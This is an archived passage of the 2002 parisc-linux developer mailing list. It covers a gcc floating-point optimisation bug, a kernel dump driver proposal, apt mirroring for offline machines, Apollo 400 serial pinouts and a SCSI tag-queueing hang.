List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13955

In reference to a message from Aaron Macks, dated Feb 04:
> has anyone sucessfully compiled ATLAS(http://www.netlib.org/atlas) 
> under PARISC linux?  I got it to go most of the way, but then crashed 
> in the second opt stage.  I'm going to email off an error report, but 
> wantedd to check if anyone else has played with it

the Debian maintainer has been trying to build it, but i think there are
some compiler issues that we still need to fix.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa-linux gcc-3.0.3: -O2 optimization does not handle fp args correctly
Date: Mon, 4 Feb 2002 08:38:42 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20020204163842.GF624@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621037 2558 80.91.229.3 (22 Nov 2014 01:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 09:38:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6D754837
	for <parisc-linux@parisc-linux.org>; Mon,  4 Feb 2002 09:38:47 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id pkwglaaa for parisc-linux@parisc-linux.org; Mon, 4 Feb 2002 09:38:40 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Xm8g-0008Qz-00; Mon, 04 Feb 2002 08:38:42 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13956

I was going to file this bug against gcc, but it looks like it's
just another instance of the fp relocation bug that has been
reported earlier..... Dave, Alan, any suggestions on how we should fix
this? 

The following program gives inconsistent output with -O1 vs -O2:

legolas[22:24] ~% gcc -O1 -o logtest logtest.c -lm
legolas[22:24] ~% ./logtest
float: nan
legolas[22:24] ~% gcc -O2 -o logtest logtest.c -lm
legolas[22:24] ~% ./logtest
float: -1.002099

The bug was first observed in the testsuite for 'mawk'. A simpler
testcase that illustrates the problem is:

#include <stdio.h>
#include <math.h>

void print_data(double d)
{
	fprintf(stderr, "float: %f\n", d);
}

int main(int argc, char **argv)
{
	double d = log(-8.0);
	print_data(d);
	return 0;
}

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa-linux gcc-3.0.3: -O2 optimization does not handle fp args correctly
Date: Mon, 4 Feb 2002 12:04:27 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200202041704.g14H4RlP018142@hiauly1.hia.nrc.ca>
References: <20020204163842.GF624@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621037 2561 80.91.229.3 (22 Nov 2014 01:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 10:04:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14496482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Feb 2002 10:04:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g14H4SFN018143;
	Mon, 4 Feb 2002 12:04:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g14H4RlP018142;
	Mon, 4 Feb 2002 12:04:27 -0500 (EST)
In-Reply-To: <20020204163842.GF624@tausq.org> from "Randolph Chung" at Feb 4, 2002 08:38:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13957

> legolas[22:24] ~% gcc -O2 -o logtest logtest.c -lm
> legolas[22:24] ~% ./logtest
> float: -1.002099

This looks ok with my new build of 3.1:

dave@gsyprf11:~/gcc_test$ gcc -O2 -o logtest logtest.c -lm
dave@gsyprf11:~/gcc_test$ ./logtest
float: nan
dave@gsyprf11:~/gcc_test$ gcc -O1 -o logtest logtest.c -lm
dave@gsyprf11:~/gcc_test$ ./logtest
float: nan

The problem that needs fixing in the linker is passing floating
arguments to indirect functions.  The above program doesn't involve
an indirect call.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa-linux gcc-3.0.3: -O2 optimization does not handle fp args correctly
Date: Mon, 4 Feb 2002 09:07:15 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20020204170715.GG624@tausq.org>
References: <20020204163842.GF624@tausq.org> <200202041704.g14H4RlP018142@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621038 2564 80.91.229.3 (22 Nov 2014 01:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 10:07:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 643F54838
	for <parisc-linux@parisc-linux.org>; Mon,  4 Feb 2002 10:07:27 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id rrwglaaa for parisc-linux@parisc-linux.org; Mon, 4 Feb 2002 10:07:14 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16XmaJ-0008Ts-00; Mon, 04 Feb 2002 09:07:15 -0800
Content-Disposition: inline
In-Reply-To: <200202041704.g14H4RlP018142@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13958

> The problem that needs fixing in the linker is passing floating
> arguments to indirect functions.  The above program doesn't involve
> an indirect call.

hrm... ok. any ideas when this was fixed? we can't ship 3.1 with the
upcoming debian release, so we'll need to backport the fix.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump driver for parisc-linux: patch vs CVS
Date: Mon, 04 Feb 2002 10:40:39 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20020204174039.DAF3B482A@dsl2.external.hp.com>
References: <3C5E768A.573CC5A2@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621038 2567 80.91.229.3 (22 Nov 2014 01:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:38 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 10:40:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DAF3B482A; Mon,  4 Feb 2002 10:40:39 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Mon, 04 Feb 2002 12:54:50 +0100." <3C5E768A.573CC5A2@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13959

Bruno Vidal wrote:
> 	Hi.
> I've a dump driver available for 2.4.17-pa3 and I'll
> upgrade my source to latest CVS bits and redo the 
> modifications. But do you think it is possible to
> put in the CVS these modifications ? 


As Randolph noted, we need to see the diff and what was changed
in the generic kernel. Is the kernel and user space code GPL?

> I have modified:
> ./Makefile 
> ./arch/parisc/config.in
> ./arch/parisc/kernel/traps.c
> ./arch/parisc/mm/init.c
> ./drivers/Makefile 
> ./drivers/char/sysrq.c
> ./init/main.c
> ./kernel/ksyms.c
> ./kernel/panic.c
> ./kernel/sched.c

The last four might cause trouble....

> 
> And I've added:
> ./include/linux/dump.h 
> ./drivers/dump/Makefile
> ./drivers/dump/dump_base.c
> ./drivers/dump/dump_rle.c
> ./drivers/dump/dump_parisc.c

and we need to ask 2.4 maintainer if this can be added upstream too...

> So my question: 
> -Do you think it is a good idea to have a dump driver available 
> in the standart kernel ?

I do. But it's really up to linus/et al to decide that.
I can choose to commit this code to *our* tree (parisc-linux) only.
(and that's really not just my decision - need some consensus)

> -If yes, who is able to do the code review, and put this dump 
> module in the CVS ?

Ideally, I'd like to see outstanding non-arch code changes merged
upstream first..  Otherwise, I don't mind maintaining that code in our tree.

thanks!
grant



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to set up an apt-proxy for debian hppa ?
Date: Mon, 04 Feb 2002 17:46:49 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <3C5EC909.40703@cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621038 2570 80.91.229.3 (22 Nov 2014 01:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 10:48:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 302DC4842
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 10:48:04 -0700 (MST)
Original-Received: from cs.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id RAA03796
	for <parisc-linux@lists.parisc-linux.org>; Mon, 4 Feb 2002 17:49:11 GMT
User-Agent: Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:0.9.5) Gecko/20011023
X-Accept-Language: en, de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13960

Hi all,

I want to keep my C240 uptodate,
but unfortunately I don't have a Internet connection at home.
(This would cost me a fortune and here in Ireland you can't
get much more than 56.6k anyway)

However, I have a Internet connection (100Mbit) at work
(university) and I have a laptop at work that I can use at home.

I don't think that I'd be allowed to take my C240 to the university
in order to do an apt-get update && apt-get upgrade; moreover it's
damn heavy ;-)
Therefore I want to fetch the latest hppa-packages and save them
on my laptop and use the laptop as a kind of apt-proxy.

I don't have any clue how the debian package management works,
but is all I need to do mirror the URLs listed in the
/etc/apt/sources.list (at least the hppa-specific directories),
e.g. by using wget ?

Since there is Win2k preinstalled on the laptop I have to
use a solution that runs on Windows!
(at least my PC at work is 100% MS free ;)
Is there a mini-howto or software available that solves my problem
(except http://sourceforge.net/projects/apt-proxy/) ?

Any hints ?

greetings max





From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: collver@linuxfreemail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: serial breakout box
Date: Mon, 4 Feb 2002 10:40:07 -0800
Lines: 81
Approved: news@gmane.org
Message-ID: <20020204104006.A6794@glen.takilma.net>
References: <200201150347.g0F3lh129546@tpol.peak.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621039 2572 80.91.229.3 (22 Nov 2014 01:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:39 +0000 (UTC)
Cc: lug@peak.org, parisc-linux@lists.parisc-linux.org,
	vernicus@attbi.com
To: Allen Brown <abrown@peak.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 11:37:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 12-225-100-78.client.attbi.com (12-225-100-78.client.attbi.com [12.225.100.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1080F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 11:37:10 -0700 (MST)
Original-Received: from ben by 12-225-100-78.client.attbi.com with local (Exim 3.34 #1)
	id 16Xo2B-0001ls-00; Mon, 04 Feb 2002 10:40:07 -0800
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200201150347.g0F3lh129546@tpol.peak.org>; from abrown@peak.org on Mon, Jan 14, 2002 at 07:47:43PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13961

>>This is an Apollo 400 which has been upgraded to a 715T/50 (Trailways-50). 
>>
> The breakout box is probably most convenient.  I've never had access
> to one.  But the first thing you need to determine is if you need
> to crossover or not.  You can do that with just a voltmeter.
> 
> Pin 7 is GND.  Pins 2 and 3 are the input and outputs, not necessarily
> in that order.  Measure from 7 to 2.  Measure from 7 to 3.  One
> of them will be close to 0V.  The other will be much higher.  I think
> -10V or something like that.  The pin with the higher voltage is
> the output.
> 
> Do the same thing on the other system also using the 25 pin connector.
> Then make sure you are not connecting the output to the output.

It turns out the Apollo 400 has a funky serial pinout.  The connector on
the back of the box allows you to connect with a normal cable.  However,
a funky "3-way splitter cable" will allow you to use 3 serial ports from
the single connector.

The port works fine with a straight-through cable, with the Apollo 400
being the DCE and a PC being the DTE.  However something about the strange
pinout interferes with using a serial mouse, even when attaching the mouse
through a crossover cable.

I obtained a breakout box and when I find the time, I will experiment with
this strange serial port.

Ben.

ps.  here is the pinout I found online

-----------------------------------------------------------------------------
H.14 - How do I build the cable to get at the hidden serial ports on a
Series 400 machine?

   Build the funky three-way splitter cable. Otherwise, a normal DB25 serial
   cable will work fine if you only want one serial port.
   Note that a splitter is not needed for the 425e, on which the three serial
   ports are already broken out on the back panel.

   This table gives the pinout for the serial connector on the rear panel.
   Source:
   HP Apollo 9000 Series 400 Domain/OS Owner's Guide (1990)
   HP Order No. A1630-90005

   +------------------------------------------------------+
   | Pin No. | Signal          | Pin No. | Signal         |
   |---------+-----------------+---------+----------------|
   |    1    | Ground          |   14    | SIO2_RTS       |
   |---------+-----------------+---------+----------------|
   |    2    | SIO1_TXD        |   15    | SIO2_CTS       |
   |---------+-----------------+---------+----------------|
   |    3    | SIO1_RXD        |   16    | SIO2_DCD       |
   |---------+-----------------+---------+----------------|
   |    4    | SIO1_RTS        |   17    | Spare          |
   |---------+-----------------+---------+----------------|
   |    5    | SIO1_CTS        |   18    | SIO2_DTR       |
   |---------+-----------------+---------+----------------|
   |    6    | SIO1_DSR        |   19    | SIO3_DTR       |
   |---------+-----------------+---------+----------------|
   |    7    | Inline resistor |   20    | SIO1_DTR       |
   |---------+-----------------+---------+----------------|
   |         | SIO1_DCD        |         |                |
   |    8    | (not supported  |   21    | SIO3_TXD       |
   |         | in Domain/OS)   |         |                |
   |---------+-----------------+---------+----------------|
   |         |                 |         | SIO1_RI        |
   |    9    | SIO3_RXD        |   22    | (not supported |
   |         |                 |         | in Domain/OS)  |
   |---------+-----------------+---------+----------------|
   |   10    | SIO3_CTS        |   23    | SIO3_RTS       |
   |---------+-----------------+---------+----------------|
   |   11    | Spare           |   24    | Spare          |
   |---------+-----------------+---------+----------------|
   |   12    | SIO2_TXD        |   25    | SIO3_DCD       |
   |---------+-----------------+---------+----------------|
   |   13    | SIO2_RXD        |         |                |
   +------------------------------------------------------+



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 53c700 (LASI SCSI 53c700) hang
Date: Mon, 04 Feb 2002 13:50:30 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200202041950.g14JoUm03211@localhost.localdomain>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621039 2575 80.91.229.3 (22 Nov 2014 01:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:39 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 12:50:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [216.33.1.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9150482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 12:50:44 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id LAA09746
	for <parisc-linux@lists.parisc-linux.org>; Mon, 4 Feb 2002 11:50:34 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id LAA09656;
	Mon, 4 Feb 2002 11:50:31 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id g14JoUm03211;
	Mon, 4 Feb 2002 13:50:30 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sun, 03 Feb 2002 19:29:48 +0100." <200202031929.48891.deller@gmx.de> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13962

What these errors tell me is that your HD accepted more tags than it could 
cope with and then choked.  Linux error handler isn't very good at handling 
this situation.  Also, your disc:

deller@gmx.de said:
>   Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X 

Is a known trouble causer with tag command queueing.  Initially, try taking 
the #define NCR_700_MAX_TAGS in drivers/scsi/53c700.h down to 4 or 2 and 
recompiling the driver.  Alternatively, turn off tagged command queueing 
altogether by commenting out this block of code:

	if(SCp->device->tagged_supported && !SCp->device->tagged_queue
	   && (hostdata->tag_negotiated &(1<<SCp->target)) == 0
	   && NCR_700_is_flag_clear(SCp->device, NCR_700_DEV_BEGIN_TAG_QUEUEING)) {
		/* upper layer has indicated tags are supported.  We don't
		 * necessarily believe it yet.
		 *
		 * NOTE: There is a danger here: the mid layer supports
		 * tag queuing per LUN.  We only support it per PUN because
		 * of potential reselection issues */
		printk(KERN_INFO "scsi%d: (%d:%d) Enabling Tag Command Queuing\n", SCp->
device->host->host_no, SCp->target, SCp->lun);
		hostdata->tag_negotiated |= (1<<SCp->target);
		NCR_700_set_flag(SCp->device, NCR_700_DEV_BEGIN_TAG_QUEUEING);
		SCp->device->tagged_queue = 1;
	}

in drivers/scsi/53c700.c at about line 1891.

I am getting around to adding the code changes to make this able to be done as 
module/kernel command line options.

James





From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XGCC MacOSX/hppa64-linux build error
Date: Mon, 4 Feb 2002 21:14:32 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <CD0E8AAC-19AB-11D6-B4EE-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621039 2577 80.91.229.3 (22 Nov 2014 01:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:39 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 13:14:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5325482A
